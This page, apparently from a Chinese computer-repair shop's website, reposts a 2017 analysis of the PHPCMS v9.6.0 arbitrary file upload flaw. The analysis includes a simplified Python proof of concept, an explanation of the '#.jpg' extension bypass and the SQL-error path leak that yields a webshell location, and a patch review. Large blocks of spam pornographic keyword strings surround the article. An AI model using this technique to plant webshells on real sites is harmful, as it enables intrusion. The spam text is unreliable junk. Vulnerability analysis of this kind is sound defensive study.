国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
關于PHPCMS v9.6.0文件上傳漏洞分析

作者: 佚名  日期:2017-04-23 08:32:37   來源: 本站整理

 0x00 漏洞概述漏洞簡介

前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議,通過該漏洞攻擊者可以在未授權的情況下任意文件上傳,影響不容小覷。phpcms官方今天發布了9.6.1版本,對漏洞進行了補丁修復.

漏洞影響

任意文件上傳

0x01 漏洞復現

本文從 PoC 的角度出發,逆向的還原漏洞過程,若有哪些錯誤的地方,還望大家多多指教。

首先我們看簡化的 PoC :

import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': 'test@test.com', 'info[content]': '

', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'

', rep.content) if len(re_result): shell = re_result[0] print shell

可以看到 PoC 是發起注冊請求,對應的是 phpcms/modules/member/index.php 中的 register 函數,所以我們在那里下斷點,接著使用 PoC 并開啟動態調試,在獲取一些信息之后,函數走到了如下位置:

\

通過 PoC 不難看出我們的 payload 在 $_POST['info'] 里,而這里對 $_POST['info'] 進行了處理,所以我們有必要跟進。

在使用 new_html_special_chars 對 <> 進行編碼之后,進入 $member_input->get 函數,該函數位于 caches/caches_model/caches_data/member_input.class.php 中,接下來函數走到如下位置:

\

由于我們的 payload 是 info[content] ,所以調用的是 editor 函數,同樣在這個文件中:

\

接下來函數執行 $this->attachment->download 函數進行下載,我們繼續跟進,在 phpcms/libs/classes/attachment.class.php 中:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}

函數中先對 $value 中的引號進行了轉義,然后使用正則匹配:

$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

這里正則要求輸入滿足 src/href=url.(gif|jpg|jpeg|bmp|png) ,我們的 payload (

)符合這一格式(這也就是為什么后面要加 .jpg 的原因)。

接下來程序使用這行代碼來去除 url 中的錨點: $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ,處理過后 $remotefileurls 的內容如下:

{C}

\

可以看到 #.jpg 被刪除了,正因如此,下面的 $filename = fileext($file); 取的的后綴變成了 php ,這也就是 PoC 中為什么要加 # 的原因: 把前面為了滿足正則而構造的 .jpg 過濾掉,使程序獲得我們真正想要的 php 文件后綴。

我們繼續執行:

\

程序調用 copy 函數,對遠程的文件進行了下載,此時我們從命令行中可以看到文件已經寫入了:

\

shell 已經寫入,下面我們就來看看如何獲取 shell 的路徑,程序在下載之后回到了 register 函數中:

\

可以看到當 $status > 0 時會執行 SQL 語句進行 INSERT 操作,具體執行的語句如下:

\

也就是向 v9_member_detail 的 content 和 userid 兩列插入數據,我們看一下該表的結構:

\

因為表中并沒有 content 列,所以產生報錯,從而將插入數據中的 shell 路徑返回給了我們:

\

上面我們說過返回路徑是在 $status > 0 時才可以,下面我們來看看什么時候 $status <= 0,在 phpcms/modules/member/classes/client.class.php 中:

\

幾個小于0的狀態碼都是因為用戶名和郵箱,所以在 payload 中用戶名和郵箱要盡量隨機。

另外在 phpsso 沒有配置好的時候 $status 的值為空,也同樣不能得到路徑。

在無法得到路徑的情況下我們只能爆破了,爆破可以根據文件名生成的方法來爆破:

\

僅僅是時間加上三位隨機數,爆破起來還是相對容易些的。

0x02 補丁分析

phpcms 今天發布了9.6.1版本,針對該漏洞的具體補丁如下:

\

在獲取文件擴展名后再對擴展名進行檢測

0x03 參考 https://www.seebug.org/vuldb/ssvid-92930 [漏洞預警]PHPCMSv9前臺GetShell (2017/04/09)



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    一区二区在线观看免费视频| 成人性色生活片| 国产盗摄xxxx视频xxx69| 久久久久人妻一区精品色欧美| gogo久久| 欧美一级高清片| 亚洲欧美日本一区| 忘忧草在线影院两性视频| 精品久久久久久久久国产字幕 | 日本高清不卡视频| 超碰caoprom| 亚洲天堂电影| 久久久黄色av| 欧美性bbb| 免费观看成人av| 黄色一级视频播放| 亚洲男人都懂的网站| 日韩码欧中文字| 99自拍偷拍视频| 天天操综合520| 国产精品久久久久久亚洲调教| 男女啪啪无遮挡| 国产成人在线网站| 善良的小姨在线| 巨茎人妖videos另类| 精品国产91久久久久久久妲己| 日韩福利小视频| 狠狠爱www人成狠狠爱综合网| 成人在线视频网| 疯狂做受xxxⅹ高潮视频免费| 亚洲欧美国产高清| 国产精品丝袜一区二区| 日本在线中文字幕一区| 亚洲天堂福利av| 九九这里只有精品视频| 久久精品人人| 亚洲18在线看污www麻豆 | 精品乱码一区| 在线视频色在线| 欧美mv日韩mv国产| 中文乱码字幕午夜无线观看| 久久亚洲一级片| 久草免费新视频| 爽好久久久欧美精品| av在线天堂网| 婷婷伊人综合| 久久综合伊人77777麻豆最新章节| 麻豆视频在线| 色综合视频一区中文字幕| 午放福利视频在线播放| 欧美日韩另类在线| www.国产成人| 亚洲一区二区视频在线观看| 91美女免费看| 久久久久久久久久久黄色| 少妇真人直播免费视频| 亚洲在线日韩| 久久久久久国产免费a片| 久久99精品网久久| 欧美性生给视频| 久久丝袜美腿综合| 国产成人无码av| 亚洲一级不卡视频| 粉嫩av一区二区夜夜嗨| 欧美三级中文字幕在线观看| 中文娱乐网av| 亚洲精品一区二区久| xfplay先锋影音夜色资源站| 国产日韩在线播放| 91精品国产色综合久久不卡粉嫩| 久久精品国产精品青草色艺| 精品三级在线| 自拍日韩亚洲一区在线| 99热这里只有精品首页 | 91精东传媒理伦片在线观看| 免费看成一片| 欧美成人免费va影院高清| 又黄又爽在线观看| 97se亚洲综合在线| 美女呻吟一区| 免费黄色av网址| 国产亚洲婷婷免费| 天天摸天天操天天干| wwwxx欧美| 99视频精品全国免费| 国产原创popny丨九色 | 欧美xxxx黑人又粗又长| 九色视频成人porny| 日韩欧美精品| 尤物视频最新网址| 日韩美女视频19| 5566先锋影音夜色资源站在线观看| 久久久精品久久| 欧美色网一区| jizz日本免费| 亚洲精品国产精华液| 久草在线在线视频| 国产精品乱子乱xxxx| 欧美日韩国产免费观看 | 天堂网avav| 欧美性色欧美a在线播放| 九色福利视频| 久久国产精品高清| 日韩中文字幕1| 国产亚洲精品久久久网站好莱| 精品蜜桃在线看| 午夜伦理福利在线| 亚洲精品久久一区二区三区777| 亚洲欧美成人一区二区三区| 91短视频在线观看| 日本男女交配视频| 国产精品久久久爽爽爽麻豆色哟哟 | 精品在线一区二区| 欧美另类69xxx| 成人一区二区三区四区| 久久久久.com| 成人淫片免费视频95视频| 中文字幕日韩三级片| 亚洲天堂日韩电影| 中韩乱幕日产无线码一区| 国产情侣在线视频| 亚洲国产精品网站| 久久国产亚洲| 成人1区2区3区| 国产精品一区二区在线观看| 激情综合色播五月| 一个人在线观看免费视频www| 亚洲欧洲另类国产综合| 欧美性猛交99久久久久99 | 性欧美lx╳lx╳| 亚洲精品综合网| 亚洲自拍偷拍二区| 亚洲免费成人av| 国产黄在线看| 国产精品视频一区二区三| 97久久精品视频| 国产综合久久久久久鬼色 | 精品视频在线播放免| 国产一区视频在线观看免费| 天天操天天射天天插| 中文字幕在线观看视频www| 日韩在线视频一区| 国内久久婷婷综合| 午夜视频在线免费观看| 天海翼在线视频| 亚洲最大的av网站| 亚洲一区二区三区四区中文字幕| 日韩一区二区三区在线免费观看 | 欧美黄片一区二区三区| 亚洲精品免费网站| 亚洲天堂中文字幕| 日韩精品视频中文字幕| 国产成人va亚洲电影| 被黑人猛躁10次高潮视频| 中文字幕日韩精品有码视频| 日韩vs国产vs欧美| 日本中文字幕在线2020| 中文字幕av影视| 国产免费人做人爱午夜视频| 精品久久久91| 国产日产精品一区| 日韩电影精品| 国产精品自产拍在线观看2019| 免费在线a视频| 日韩av不卡在线| 亚洲国产综合91精品麻豆| 欧美黑白配在线| 免费看男男www网站入口在线| 亚洲国产无线乱码在线观看| 日韩国产一区久久| 亚洲免费高清视频| 国产毛片一区二区| 成人在线日韩| 国产污污在线观看| 国产 日韩 欧美 精品| 欧美日韩一区二区三区四区五区六区| 国产在线精品播放| 7777精品伊人久久久大香线蕉经典版下载 | 在线视频你懂得一区二区三区| 男女性色大片免费观看一区二区| 欧美成人毛片| 中文字幕97| 亚洲综合在线不卡| 欧美视频www| 国产一卡二卡三卡四卡| 亚洲一区二区三区免费观看| 91爱视频在线| 欧美一区二区在线观看| 中文字幕精品一区二区三区精品| 久久精品66| 一区二区高清不卡| 色一色在线观看视频网站| 国产一区二区三区三州| 日韩精品电影一区二区三区| 草草草在线视频| 欧美日韩在线一二三| 久久久久久久久网站| 日韩大陆欧美高清视频区| 国产欧美精品一区二区色综合朱莉 | 狠狠色噜噜狠狠|